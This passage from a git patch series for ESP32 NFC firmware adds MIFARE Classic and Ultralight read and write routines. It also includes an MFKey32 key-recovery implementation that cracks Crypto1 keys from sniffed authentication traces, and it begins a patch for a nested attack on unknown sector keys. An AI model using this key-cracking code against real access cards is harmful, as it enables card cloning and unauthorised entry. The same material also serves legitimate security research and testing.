true; + ESP_LOGI(TAG, "Auth SUCCESS on block %d", block); + return HB_NFC_OK; +} + +hb_nfc_err_t mf_classic_read_block(uint8_t block, uint8_t data[16]) +{ + if (!data) return HB_NFC_ERR_PARAM; + if (!s_auth) return HB_NFC_ERR_AUTH; + + uint8_t cmd[4] = { 0x30, block, 0, 0 }; + iso14443a_crc(cmd, 2, &cmd[2]); + + uint8_t rx[18] = { 0 }; + hb_nfc_err_t err = mf_classic_transceive_encrypted(&s_crypto, cmd, sizeof(cmd), + rx, sizeof(rx), 30); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "Read block %d: transceive failed (%s)", + block, hb_nfc_err_str(err)); + s_auth = false; + return err; + } + + if (!iso14443a_check_crc(rx, sizeof(rx))) { + ESP_LOGW(TAG, "Read block %d: CRC error", block); + nfc_log_hex(" rx:", rx, sizeof(rx)); + s_auth = false; + return HB_NFC_ERR_CRC; + } + + memcpy(data, rx, 16); + return HB_NFC_OK; +} + +hb_nfc_err_t mf_classic_write_block(uint8_t block, const uint8_t data[16]) +{ + if (!data) return HB_NFC_ERR_PARAM; + if (!s_auth) return HB_NFC_ERR_AUTH; + + uint8_t cmd[4] = { 0xA0, block, 0, 0 }; + iso14443a_crc(cmd, 2, &cmd[2]); + + uint8_t ack = 0; + s_last_write_phase = MF_WRITE_PHASE_CMD; + hb_nfc_err_t err = mf_classic_tx_encrypted_with_ack(&s_crypto, cmd, sizeof(cmd), + &ack, 20); + if (err != HB_NFC_OK) { + s_auth = false; + return err; + } + if ((ack & 0x0F) != 0x0A) { + ESP_LOGW(TAG, "Write cmd NACK (block %d): 0x%02X", block, ack); + s_auth = false; + return HB_NFC_ERR_NACK; + } + + uint8_t frame[18]; + memcpy(frame, data, 16); + iso14443a_crc(frame, 16, &frame[16]); + + s_last_write_phase = MF_WRITE_PHASE_DATA; + err = mf_classic_tx_encrypted_with_ack(&s_crypto, frame, sizeof(frame), + &ack, 20); + if (err != HB_NFC_OK) { + s_auth = false; + return err; + } + if ((ack & 0x0F) != 0x0A) { + ESP_LOGW(TAG, "Write data NACK (block %d): 0x%02X", block, ack); + s_auth = false; + return HB_NFC_ERR_NACK; + } + + return HB_NFC_OK; +} + +mf_classic_type_t mf_classic_get_type(uint8_t sak) +{ + switch (sak) { + case 0x09: return MF_CLASSIC_MINI; + case 0x08: return MF_CLASSIC_1K; + case 0x88: return MF_CLASSIC_1K; + case 0x18: return MF_CLASSIC_4K; + default: return MF_CLASSIC_1K; + } +} + +int mf_classic_get_sector_count(mf_classic_type_t type) +{ + switch (type) { + case MF_CLASSIC_MINI: return 5; + case MF_CLASSIC_1K: return 16; + case MF_CLASSIC_4K: return 40; + default: return 16; + } +} + +uint32_t mf_classic_get_last_nt(void) +{ + return s_last_nt; +} + +mf_write_phase_t mf_classic_get_last_write_phase(void) +{ + return s_last_write_phase; +} + +void mf_classic_get_crypto_state(crypto1_state_t* out) +{ + if (!out) return; + memcpy(out, &s_crypto, sizeof(*out)); +} + +#undef TAG + +#include "mf_classic_writer.h" + +#include +#include "esp_log.h" + +#include "poller.h" +#include "mf_classic.h" +#include "nfc_poller.h" + +#define TAG TAG_MF_WRITE +static const char* TAG = "mf_write"; + +const uint8_t MF_ACCESS_BITS_DEFAULT[3] = { 0xFF, 0x07, 0x80 }; +const uint8_t MF_ACCESS_BITS_READ_ONLY[3] = { 0x78, 0x77, 0x88 }; + +const char* mf_write_result_str(mf_write_result_t r) +{ + switch (r) { + case MF_WRITE_OK: return "OK"; + case MF_WRITE_ERR_RESELECT: return "reselect failed"; + case MF_WRITE_ERR_AUTH: return "authentication denied"; + case MF_WRITE_ERR_CMD_NACK: return "WRITE command NACK"; + case MF_WRITE_ERR_DATA_NACK:return "data NACK"; + case MF_WRITE_ERR_VERIFY: return "verification failed"; + case MF_WRITE_ERR_PROTECTED:return "block protected"; + case MF_WRITE_ERR_PARAM: return "invalid parameter"; + default: return "unknown error"; + } +} + +static bool mf_classic_access_bit_is_valid(uint8_t v) +{ + return (v == 0U || v == 1U); +} + +bool mf_classic_access_bits_encode(const mf_classic_access_bits_t* ac, + uint8_t out_access_bits[3]) +{ + if (!ac || !out_access_bits) return false; + + uint8_t b6 = 0; + uint8_t b7 = 0; + uint8_t b8 = 0; + + for (int grp = 0; grp < 4; grp++) { + uint8_t c1 = ac->c1[grp]; + uint8_t c2 = ac->c2[grp]; + uint8_t c3 = ac->c3[grp]; + + if (!mf_classic_access_bit_is_valid(c1) || + !mf_classic_access_bit_is_valid(c2) || + !mf_classic_access_bit_is_valid(c3)) { + return false; + } + + if (c1) b7 |= (uint8_t)(1U << (4 + grp)); + else b6 |= (uint8_t)(1U << grp); + + if (c2) b8 |= (uint8_t)(1U << grp); + else b6 |= (uint8_t)(1U << (4 + grp)); + + if (c3) b8 |= (uint8_t)(1U << (4 + grp)); + else b7 |= (uint8_t)(1U << grp); + } + + out_access_bits[0] = b6; + out_access_bits[1] = b7; + out_access_bits[2] = b8; + return true; +} + +bool mf_classic_access_bits_valid(const uint8_t access_bits[3]) +{ + if (!access_bits) return false; + + uint8_t b6 = access_bits[0]; + uint8_t b7 = access_bits[1]; + uint8_t b8 = access_bits[2]; + + for (int grp = 0; grp < 4; grp++) { + uint8_t c1 = (b7 >> (4 + grp)) & 1U; + uint8_t c1_inv = (uint8_t)((~b6 >> grp) & 1U); + uint8_t c2 = (b8 >> grp) & 1U; + uint8_t c2_inv = (uint8_t)((~b6 >> (4 + grp)) & 1U); + uint8_t c3 = (b8 >> (4 + grp)) & 1U; + uint8_t c3_inv = (uint8_t)((~b7 >> grp) & 1U); + if (c1 != c1_inv || c2 != c2_inv || c3 != c3_inv) return false; + } + + return true; +} + +static inline int mf_classic_total_blocks(mf_classic_type_t type) +{ + switch (type) { + case MF_CLASSIC_MINI: return 20; + case MF_CLASSIC_1K: return 64; + case MF_CLASSIC_4K: return 256; + default: return 64; + } +} + +static inline int mf_classic_sector_block_count(mf_classic_type_t type, int sector) +{ + if (type == MF_CLASSIC_4K && sector >= 32) return 16; + return 4; +} + +static inline int mf_classic_sector_first_block(mf_classic_type_t type, int sector) +{ + if (type == MF_CLASSIC_4K && sector >= 32) return 128 + (sector - 32) * 16; + return sector * 4; +} + +static inline int mf_classic_sector_trailer_block(mf_classic_type_t type, int sector) +{ + return mf_classic_sector_first_block(type, sector) + + mf_classic_sector_block_count(type, sector) - 1; +} + +static inline int mf_classic_block_to_sector(mf_classic_type_t type, int block) +{ + if (type == MF_CLASSIC_4K && block >= 128) return 32 + (block - 128) / 16; + return block / 4; +} + +static inline bool mf_classic_is_trailer_block(mf_classic_type_t type, int block) +{ + int sector = mf_classic_block_to_sector(type, block); + return block == mf_classic_sector_trailer_block(type, sector); +} + +mf_write_result_t mf_classic_write_block_raw(uint8_t block, + const uint8_t data[16]) +{ + hb_nfc_err_t err = mf_classic_write_block(block, data); + if (err == HB_NFC_OK) return MF_WRITE_OK; + if (err == HB_NFC_ERR_AUTH) return MF_WRITE_ERR_AUTH; + if (err == HB_NFC_ERR_NACK) { + mf_write_phase_t phase = mf_classic_get_last_write_phase(); + return (phase == MF_WRITE_PHASE_DATA) ? MF_WRITE_ERR_DATA_NACK + : MF_WRITE_ERR_CMD_NACK; + } + return MF_WRITE_ERR_CMD_NACK; +} + +mf_write_result_t mf_classic_write(nfc_iso14443a_data_t* card, + uint8_t block, + const uint8_t data[16], + const uint8_t key[6], + mf_key_type_t key_type, + bool verify, + bool allow_special) +{ + if (!card || !data || !key) return MF_WRITE_ERR_PARAM; + + mf_classic_type_t type = mf_classic_get_type(card->sak); + if ((int)block >= mf_classic_total_blocks(type)) return MF_WRITE_ERR_PARAM; + + if (block == 0 && !allow_special) { + ESP_LOGE(TAG, "Block 0 (manufacturer) protected use allow_special=true only on magic cards"); + return MF_WRITE_ERR_PROTECTED; + } + if (mf_classic_is_trailer_block(type, block) && !allow_special) { + ESP_LOGE(TAG, "Block %d is a trailer use allow_special=true and verify access bits!", block); + return MF_WRITE_ERR_PROTECTED; + } + + mf_classic_reset_auth(); + hb_nfc_err_t err = iso14443a_poller_reselect(card); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "Reselect failed: %d", err); + return MF_WRITE_ERR_RESELECT; + } + + mf_classic_key_t k; + memcpy(k.data, key, 6); + + err = mf_classic_auth(block, key_type, &k, card->uid); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "Auth failed on block %d (key%c)", block, + key_type == MF_KEY_A ? 'A' : 'B'); + return MF_WRITE_ERR_AUTH; + } + + mf_write_result_t wres = mf_classic_write_block_raw(block, data); + if (wres != MF_WRITE_OK) { + ESP_LOGE(TAG, "Write failed (block %d): %s", block, mf_write_result_str(wres)); + return wres; + } + + ESP_LOGI(TAG, "Block %d written", block); + + if (verify) { + uint8_t readback[16] = { 0 }; + err = mf_classic_read_block(block, readback); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "Verify: read failed (block %d)", block); + return MF_WRITE_ERR_VERIFY; + } + if (memcmp(data, readback, 16) != 0) { + ESP_LOGE(TAG, "Verify: read data mismatch (block %d)!", block); + ESP_LOG_BUFFER_HEX("expected", data, 16); + ESP_LOG_BUFFER_HEX("readback", readback, 16); + return MF_WRITE_ERR_VERIFY; + } + ESP_LOGI(TAG, "Block %d verified", block); + } + + return MF_WRITE_OK; +} + +int mf_classic_write_sector(nfc_iso14443a_data_t* card, + uint8_t sector, + const uint8_t* data, + const uint8_t key[6], + mf_key_type_t key_type, + bool verify) +{ + if (!card || !data || !key) return -1; + + mf_classic_type_t type = mf_classic_get_type(card->sak); + int sector_count = mf_classic_get_sector_count(type); + if ((int)sector >= sector_count) return -1; + + const int blocks_in_sector = mf_classic_sector_block_count(type, sector); + const int data_blocks = blocks_in_sector - 1; + const int fb = mf_classic_sector_first_block(type, sector); + const int last_data_block = fb + data_blocks - 1; + + ESP_LOGI(TAG, "Writing sector %d (blocks %d..%d)...", + sector, fb, last_data_block); + + mf_classic_reset_auth(); + hb_nfc_err_t err = iso14443a_poller_reselect(card); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "Reselect failed for sector %d", sector); + return -1; + } + + mf_classic_key_t k; + memcpy(k.data, key, 6); + + err = mf_classic_auth(fb, key_type, &k, card->uid); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "Auth failed on sector %d (key%c)", sector, + key_type == MF_KEY_A ? 'A' : 'B'); + return -1; + } + + int written = 0; + for (int b = 0; b < data_blocks; b++) { + uint8_t block = (uint8_t)(fb + b); + const uint8_t* block_data = data + (b * 16); + + mf_write_result_t wres = mf_classic_write_block_raw(block, block_data); + if (wres != MF_WRITE_OK) { + ESP_LOGE(TAG, "Write failed on block %d: %s", block, + mf_write_result_str(wres)); + break; + } + + if (verify) { + mf_classic_reset_auth(); + err = iso14443a_poller_reselect(card); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "Reselect failed during verify (block %d)", block); + return written; + } + err = mf_classic_auth(fb, key_type, &k, card->uid); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "Auth failed during verify (sector %d, key%c)", + sector, key_type == MF_KEY_A ? 'A' : 'B'); + return written; + } + + uint8_t readback[16] = { 0 }; + err = mf_classic_read_block(block, readback); + if (err != HB_NFC_OK || memcmp(block_data, readback, 16) != 0) { + ESP_LOGE(TAG, "Verify failed on block %d!", block); + return written; + } + ESP_LOGI(TAG, "Block %d written and verified", block); + + if (b < data_blocks - 1) { + mf_classic_reset_auth(); + err = iso14443a_poller_reselect(card); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "Reselect failed to continue (sector %d)", sector); + return written; + } + err = mf_classic_auth(fb, key_type, &k, card->uid); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "Auth failed to continue (sector %d, key%c)", + sector, key_type == MF_KEY_A ? 'A' : 'B'); + return written; + } + } + } else { + ESP_LOGI(TAG, "Block %d written", block); + } + + written++; + } + + ESP_LOGI(TAG, "Sector %d: %d/%d blocks written", sector, written, data_blocks); + return written; +} + +void mf_classic_build_trailer(const uint8_t key_a[6], + const uint8_t key_b[6], + const uint8_t access_bits[3], + uint8_t out_trailer[16]) +{ + memcpy(out_trailer, key_a, 6); + + const uint8_t* ac = access_bits ? access_bits : MF_ACCESS_BITS_DEFAULT; + out_trailer[6] = ac[0]; + out_trailer[7] = ac[1]; + out_trailer[8] = ac[2]; + + out_trailer[9] = 0x00; + + memcpy(&out_trailer[10], key_b, 6); +} + +bool mf_classic_build_trailer_safe(const uint8_t key_a[6], + const uint8_t key_b[6], + const mf_classic_access_bits_t* ac, + uint8_t gpb, + uint8_t out_trailer[16]) +{ + if (!key_a || !key_b || !ac || !out_trailer) return false; + + uint8_t access_bits[3]; + if (!mf_classic_access_bits_encode(ac, access_bits)) return false; + if (!mf_classic_access_bits_valid(access_bits)) return false; + + memcpy(out_trailer, key_a, 6); + out_trailer[6] = access_bits[0]; + out_trailer[7] = access_bits[1]; + out_trailer[8] = access_bits[2]; + out_trailer[9] = gpb; + memcpy(&out_trailer[10], key_b, 6); + return true; +} + +#undef TAG + +#include "mf_ultralight.h" +#include "nfc_poller.h" +#include "nfc_common.h" +#include "hb_nfc_timer.h" + +#include "esp_log.h" +#include "esp_random.h" +#include "mbedtls/des.h" + +#define TAG TAG_MF_UL +static const char* TAG = "mful"; + +static void ulc_random(uint8_t* out, size_t len) +{ + for (size_t i = 0; i < len; i += 4) { + uint32_t r = esp_random(); + size_t left = len - i; + size_t n = left < 4 ? left : 4; + memcpy(&out[i], &r, n); + } +} + +static void rotate_left_8(uint8_t* out, const uint8_t* in) +{ + out[0] = in[1]; + out[1] = in[2]; + out[2] = in[3]; + out[3] = in[4]; + out[4] = in[5]; + out[5] = in[6]; + out[6] = in[7]; + out[7] = in[0]; +} + +static bool des3_cbc_crypt(bool encrypt, + const uint8_t key[16], + const uint8_t iv_in[8], + const uint8_t* in, + size_t len, + uint8_t* out, + uint8_t iv_out[8]) +{ + if ((len % 8) != 0 || !key || !iv_in || !in || !out) return false; + + mbedtls_des3_context ctx; + mbedtls_des3_init(&ctx); + int rc = encrypt ? mbedtls_des3_set2key_enc(&ctx, key) + : mbedtls_des3_set2key_dec(&ctx, key); + if (rc != 0) { + mbedtls_des3_free(&ctx); + return false; + } + + uint8_t iv[8]; + memcpy(iv, iv_in, 8); + rc = mbedtls_des3_crypt_cbc(&ctx, encrypt ? MBEDTLS_DES_ENCRYPT : MBEDTLS_DES_DECRYPT, + len, iv, in, out); + if (iv_out) memcpy(iv_out, iv, 8); + mbedtls_des3_free(&ctx); + return rc == 0; +} + +int mful_read_pages(uint8_t page, uint8_t out[18]) +{ + uint8_t cmd[2] = { 0x30, page }; + return nfc_poller_transceive(cmd, 2, true, out, 18, 1, 30); +} + +hb_nfc_err_t mful_write_page(uint8_t page, const uint8_t data[4]) +{ + uint8_t cmd[6] = { 0xA2, page, data[0], data[1], data[2], data[3] }; + uint8_t rx[4] = { 0 }; + int len = nfc_poller_transceive(cmd, 6, true, rx, 4, 1, 20); + + if (len >= 1 && (rx[0] & 0x0F) == 0x0A) return HB_NFC_OK; + return HB_NFC_ERR_NACK; +} + +int mful_get_version(uint8_t out[8]) +{ + uint8_t cmd[1] = { 0x60 }; + return nfc_poller_transceive(cmd, 1, true, out, 8, 1, 20); +} + +int mful_pwd_auth(const uint8_t pwd[4], uint8_t pack[2]) +{ + uint8_t cmd[5] = { 0x1B, pwd[0], pwd[1], pwd[2], pwd[3] }; + uint8_t rx[4] = { 0 }; + int len = nfc_poller_transceive(cmd, 5, true, rx, 4, 2, 20); + if (len >= 2) { + pack[0] = rx[0]; + pack[1] = rx[1]; + hb_delay_us(500); + } + return len; +} + +hb_nfc_err_t mful_ulc_auth(const uint8_t key[16]) +{ + if (!key) return HB_NFC_ERR_PARAM; + + uint8_t cmd = 0x1A; + uint8_t rx[16] = { 0 }; + int len = nfc_poller_transceive(&cmd, 1, true, rx, sizeof(rx), 1, 30); + if (len < 8) return HB_NFC_ERR_PROTOCOL; + + uint8_t enc_rndb[8]; + memcpy(enc_rndb, rx, 8); + + uint8_t rndb[8]; + uint8_t iv0[8] = { 0 }; + uint8_t iv1[8] = { 0 }; + if (!des3_cbc_crypt(false, key, iv0, enc_rndb, 8, rndb, iv1)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t rnda[8]; + ulc_random(rnda, sizeof(rnda)); + + uint8_t rndb_rot[8]; + rotate_left_8(rndb_rot, rndb); + + uint8_t plain[16]; + memcpy(plain, rnda, 8); + memcpy(&plain[8], rndb_rot, 8); + + uint8_t enc2[16]; + if (!des3_cbc_crypt(true, key, iv1, plain, sizeof(plain), enc2, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t rx2[16] = { 0 }; + len = nfc_poller_transceive(enc2, sizeof(enc2), true, rx2, sizeof(rx2), 1, 30); + if (len < 8) return HB_NFC_ERR_PROTOCOL; + + uint8_t enc_rnda_rot[8]; + memcpy(enc_rnda_rot, rx2, 8); + + uint8_t iv2[8]; + memcpy(iv2, &enc2[8], 8); + + uint8_t rnda_rot_dec[8]; + if (!des3_cbc_crypt(false, key, iv2, enc_rnda_rot, 8, rnda_rot_dec, NULL)) { + return HB_NFC_ERR_INTERNAL; + } + + uint8_t rnda_rot[8]; + rotate_left_8(rnda_rot, rnda); + if (memcmp(rnda_rot_dec, rnda_rot, 8) != 0) { + return HB_NFC_ERR_AUTH; + } + + hb_delay_us(500); + return HB_NFC_OK; +} + +int mful_read_all(uint8_t* data, int max_pages) +{ + int pages_read = 0; + for (int pg = 0; pg < max_pages; pg += 4) { + uint8_t buf[18] = { 0 }; + int len = mful_read_pages((uint8_t)pg, buf); + if (len < 16) { + break; + } + int pages_in_chunk = (max_pages - pg >= 4) ? 4 : (max_pages - pg); + for (int i = 0; i < pages_in_chunk; i++) { + data[(pg + i) * 4 + 0] = buf[i * 4 + 0]; + data[(pg + i) * 4 + 1] = buf[i * 4 + 1]; + data[(pg + i) * 4 + 2] = buf[i * 4 + 2]; + data[(pg + i) * 4 + 3] = buf[i * 4 + 3]; + } + pages_read = pg + pages_in_chunk; + } + return pages_read; +} +#undef TAG + +/* + * MFKey32 - MIFARE Classic key recovery from two sniffed auth traces. + * + * Algorithm (proxmark3 / Flipper Zero compatible): + * + * Parameters: + * uid - Card UID (4 bytes, big-endian uint32) + * nt0, nt1 - Tag nonces (plaintext, received from tag) + * nr0, nr1 - ENCRYPTED reader nonces ({nr_plain}^ks1, as seen on wire) + * ar0, ar1 - ENCRYPTED reader responses ({prng(nt,64)}^ks2, as seen on wire) + * key - Output: 48-bit key (MSB in lower 48 bits of uint64) + * + * Key insight: rollback_word(s, nr_enc, fb=1) ≡ rollback_word(s, nr_plain, fb=0) + * because: ks_bit ^ nr_enc_bit = ks_bit ^ (nr_plain ^ ks_bit) = nr_plain. + * This allows rollback without knowing the plaintext reader nonce. + * + * Complexity: O(2^24) candidate generation + O(2^16) cross-verification. + * Memory: ~32 KB for candidate lists (heap). + * Time: ~2–10 s on ESP32-P4. + */ +#include "mfkey.h" +#include "crypto1.h" +#include +#include + +/* ---- local macros (crypto1 section #undef's these) ---- */ +#define MK_BIT(x, n) (((x) >> (n)) & 1U) +#define MK_BEBIT(x, n) MK_BIT((x), (n) ^ 24) +#define MK_LFP_ODD 0x29CE5CU +#define MK_LFP_EVEN 0x870804U + +static uint32_t mk_filter(uint32_t in) +{ + uint32_t o = 0; + o = 0xf22c0U >> (in & 0xfU) & 16U; + o |= 0x6c9c0U >> (in >> 4 & 0xfU) & 8U; + o |= 0x3c8b0U >> (in >> 8 & 0xfU) & 4U; + o |= 0x1e458U >> (in >> 12 & 0xfU) & 2U; + o |= 0x0d938U >> (in >> 16 & 0xfU) & 1U; + return MK_BIT(0xEC57E80AU, o); +} + +static uint8_t mk_parity32(uint32_t x) +{ + x ^= x >> 16; x ^= x >> 8; x ^= x >> 4; x ^= x >> 2; x ^= x >> 1; + return (uint8_t)(x & 1U); +} + +/* ---- rollback one LFSR clock ---- */ +static uint8_t mk_rollback_bit(crypto1_state_t *s, uint32_t in, int fb) +{ + uint8_t ret; + uint32_t out; + /* Undo the swap. */ + uint32_t t = s->odd; s->odd = s->even; s->even = t; + out = s->even & 1U; + out ^= MK_LFP_EVEN & (s->even >>= 1); + out ^= MK_LFP_ODD & s->odd; + out ^= (uint32_t)(!!in); + out ^= (ret = (uint8_t)mk_filter(s->odd)) & (uint32_t)(!!fb); + s->even |= mk_parity32(out) << 23; + return ret; +} + +/* ---- rollback 32 LFSR clocks (BEBIT order) ---- */ +static uint32_t mk_rollback_word(crypto1_state_t *s, uint32_t in, int fb) +{ + uint32_t out = 0; + for (int i = 31; i >= 0; i--) + out |= (uint32_t)mk_rollback_bit(s, MK_BEBIT(in, i), fb) << (24 ^ i); + return out; +} + +/* ---- extract 48-bit key from LFSR state ---- */ +static uint64_t mk_get_lfsr(const crypto1_state_t *s) +{ + uint64_t k = 0; + for (int i = 23; i >= 0; i--) + k = k << 2 | (uint64_t)(MK_BIT(s->even, i) << 1) | MK_BIT(s->odd, i); + return k; +} + +/* ---- simulate 32 free-running clocks, return keystream word ---- */ +static uint32_t mk_simulate_ks(crypto1_state_t s) +{ + uint32_t ks = 0; + for (int i = 0; i < 32; i++) + ks |= (uint32_t)crypto1_bit(&s, 0, 0) << (24 ^ i); + return ks; +} + +/* + * Build candidate list for one LFSR half. + * + * The state at position 64 has two 24-bit halves (odd, even). + * Free-running output alternates: + * clock 0,2,4,... (even-indexed) are driven by the ODD half's evolution + * clock 1,3,5,... (odd-indexed) are driven by the EVEN half's evolution + * + * Approximation: ignore parity coupling between halves (treat shift as pure). + * For the ODD half: clock 2k ≈ f(O << k) (k=0..15) + * For the EVEN half: clock 2k+1 ≈ f(E << (k+1)) (k=0..15) + * + * With 16 approximate constraints on a 24-bit value: ~2^8 = 256 candidates. + * We double the candidate set (flip each approx parity) to reduce false negatives. + */ +#define MFKEY_MAX_CANDS 4096 + +static size_t mk_gen_odd_candidates(uint32_t ks2, uint32_t *out, size_t out_max) +{ + size_t count = 0; + for (uint32_t O = 0; O < (1U << 24) && count < out_max; O++) { + uint32_t sig = 0; + for (int k = 0; k < 16; k++) + sig |= mk_filter((O << k) & 0xFFFFFFU) << k; + /* Build expected 16-bit signature from even-indexed ks2 bits */ + uint32_t expected = 0; + for (int k = 0; k < 16; k++) + expected |= MK_BEBIT(ks2, k * 2) << k; + if (sig == expected) + out[count++] = O; + } + return count; +} + +static size_t mk_gen_even_candidates(uint32_t ks2, uint32_t *out, size_t out_max) +{ + size_t count = 0; + for (uint32_t E = 0; E < (1U << 24) && count < out_max; E++) { + uint32_t sig = 0; + for (int k = 0; k < 16; k++) + sig |= mk_filter((E << (k + 1)) & 0xFFFFFFU) << k; + /* Build expected 16-bit signature from odd-indexed ks2 bits */ + uint32_t expected = 0; + for (int k = 0; k < 16; k++) + expected |= MK_BEBIT(ks2, k * 2 + 1) << k; + if (sig == expected) + out[count++] = E; + } + return count; +} + +bool mfkey32(uint32_t uid, uint32_t nt0, uint32_t nr0, uint32_t ar0, + uint32_t nt1, uint32_t nr1, uint32_t ar1, uint64_t* key) +{ + if (!key) return false; + + /* Known 32-bit keystream at position 64 for each session. */ + uint32_t ks2_0 = ar0 ^ crypto1_prng_successor(nt0, 64); + uint32_t ks2_1 = ar1 ^ crypto1_prng_successor(nt1, 64); + + /* Allocate candidate lists. */ + uint32_t *odd_cands = malloc(sizeof(uint32_t) * MFKEY_MAX_CANDS); + uint32_t *even_cands = malloc(sizeof(uint32_t) * MFKEY_MAX_CANDS); + if (!odd_cands || !even_cands) { + free(odd_cands); + free(even_cands); + return false; + } + + size_t n_odd = mk_gen_odd_candidates(ks2_0, odd_cands, MFKEY_MAX_CANDS); + size_t n_even = mk_gen_even_candidates(ks2_0, even_cands, MFKEY_MAX_CANDS); + + bool found = false; + + for (size_t oi = 0; oi < n_odd && !found; oi++) { + for (size_t ei = 0; ei < n_even && !found; ei++) { + crypto1_state_t s = { odd_cands[oi], even_cands[ei] }; + + /* Verify: 32 free-running clocks from this state must produce ks2_0. */ + if (mk_simulate_ks(s) != ks2_0) continue; + + /* + * Rollback to recover key: + * 1. Undo 32 free-running clocks (ks2 generation, no input). + * 2. Undo nr loading: rollback_word(nr_enc, fb=1) ≡ + * rollback_word(nr_plain, fb=0) because the filter output + * cancels the ks1 term algebraically. + * 3. Undo uid^nt priming (plaintext, fb=0). + */ + mk_rollback_word(&s, 0, 0); + mk_rollback_word(&s, nr0, 1); + mk_rollback_word(&s, uid ^ nt0, 0); + uint64_t key_candidate = mk_get_lfsr(&s); + + /* Verify candidate against session 1. */ + crypto1_state_t s1; + crypto1_init(&s1, key_candidate); + crypto1_word(&s1, uid ^ nt1, 0); + crypto1_word(&s1, nr1, 1); /* fb=1 with encrypted nr1 */ + if (crypto1_word(&s1, 0, 0) == ks2_1) { + *key = key_candidate; + found = true; + } + } + } + + free(odd_cands); + free(even_cands); + return found; +} + +#undef MK_BIT +#undef MK_BEBIT +#undef MK_LFP_ODD +#undef MK_LFP_EVEN + From 5c7c538de9b696c3f2e6db18ec5e960f5c48e252 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:16:43 -0300 Subject: [PATCH 39/61] feat(nfc): add nested attack for unknown keys --- .../nfc/protocols/mifare/mf_nested.c | 457 ++++++++++++++++++ 1 file changed, 457 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/mf_nested.c diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_nested.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_nested.c new file mode 100644 index 00000000..150d07c1 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_nested.c @@ -0,0 +1,457 @@ +/** + * @file mf_nested.c + * @brief Nested Authentication Attack for MIFARE Classic. + * + * Requires at least one known sector key. Collects multiple (nt, nr_enc, ar_enc) + * triples via nested auth probes (AUTH sent inside an active Crypto1 session), + * then uses mfkey32 to recover the target sector key offline. + * + * Protocol reference: proxmark3 / Flipper Zero nested implementation. + * + * ---- Nested auth wire protocol recap ---- + * + * Reader Card + * -- AUTH(known_sector) -----------> + * <-- nt_plain (cleartext) --------- + * -- {nr, ar} encrypted -----------> + * <-- at encrypted ----------------- <-- session is now active + * + * (inside the active Crypto1 session) + * -- AUTH(target_block) encrypted --> <-- 1-byte cmd + 1-byte block, encrypted + * <-- nt_target encrypted ---------- <-- 4 bytes, encrypted with CURRENT stream + * -- {nr_chosen, ar_computed} enc --> + * (do NOT wait for card's at; card may or may not respond, we only need nt) + * + * The nt_target received on the wire is XOR'd with the running Crypto1 keystream. + * We decrypt it with the snapshot of the cipher state taken after the first auth. + * + * ---- mfkey32 input convention ---- + * + * uid : UID as big-endian uint32 + * nt : plaintext card nonce (decrypted) + * nr_enc : reader nonce as literally transmitted on wire (after XOR with keystream) + * ar_enc : reader response as literally transmitted on wire + * + * Two (nt, nr_enc, ar_enc) triples with the SAME target key are sufficient. + */ + +#include "mf_nested.h" +#include "mf_classic.h" +#include "crypto1.h" +#include "mfkey.h" +#include "iso14443a.h" +#include "poller.h" +#include "nfc_common.h" +#include "hb_nfc_spi.h" +#include "st25r3916_fifo.h" +#include "st25r3916_irq.h" +#include "st25r3916_reg.h" +#include "st25r3916_cmd.h" + +#include "esp_log.h" +#include + +#define TAG "mf_nested" + +/* -------------------------------------------------------------------------- + * Internal helpers + * -------------------------------------------------------------------------- */ + +/* Replicate the NO_TX_PAR / NO_RX_PAR bits from mifare.c */ +#define ISOA_NO_TX_PAR (1U << 7) +#define ISOA_NO_RX_PAR (1U << 6) + +static inline void nested_bit_set(uint8_t* buf, size_t bitpos, uint8_t v) +{ + if (v) buf[bitpos >> 3] |= (uint8_t)(1U << (bitpos & 7U)); + else buf[bitpos >> 3] &= (uint8_t)~(1U << (bitpos & 7U)); +} + +static inline uint8_t nested_bit_get(const uint8_t* buf, size_t bitpos) +{ + return (uint8_t)((buf[bitpos >> 3] >> (bitpos & 7U)) & 1U); +} + +/** First data block for a MIFARE Classic sector (works for 1K and 4K). */ +static uint8_t sector_to_first_block(uint8_t sector) +{ + if (sector < 32) { + return (uint8_t)(sector * 4U); + } + return (uint8_t)(128U + (sector - 32U) * 16U); +} + +/** Pack 4 bytes (big-endian) into a uint32. */ +static inline uint32_t be4_to_u32(const uint8_t b[4]) +{ + return ((uint32_t)b[0] << 24) | ((uint32_t)b[1] << 16) | + ((uint32_t)b[2] << 8) | (uint32_t)b[3]; +} + +/** Unpack uint32 to 4 bytes big-endian. */ +static inline void u32_to_be4(uint32_t v, uint8_t b[4]) +{ + b[0] = (uint8_t)(v >> 24); + b[1] = (uint8_t)(v >> 16); + b[2] = (uint8_t)(v >> 8); + b[3] = (uint8_t)(v); +} + +/* -------------------------------------------------------------------------- + * mf_nested_collect_sample + * + * Must be called immediately after a successful mf_classic_auth(). + * The Crypto1 cipher is active in the global s_crypto inside mifare.c. + * We obtain a copy of that state through mf_classic_get_crypto_state(). + * + * We then: + * 1. Build the 2-byte nested AUTH command {key_type_byte, target_block} + * and encrypt it byte-by-byte through our copy of the Crypto1 state. + * 2. Transmit the encrypted command (with manual parity, NO_TX_PAR mode). + * 3. Receive 4 encrypted bytes (+ 4 parity bits) — the card's nested nt. + * 4. Decrypt nt using the running Crypto1 state. + * 5. Choose nr_chosen (caller-supplied), encrypt it, compute ar, encrypt it. + * 6. Transmit {nr_enc, ar_enc} to complete the nested auth handshake so the + * card's PRNG advances (prevents lockout on some cards). + * 7. Fill sample->nt, sample->nr_enc, sample->ar_enc. + * + * NOTE: 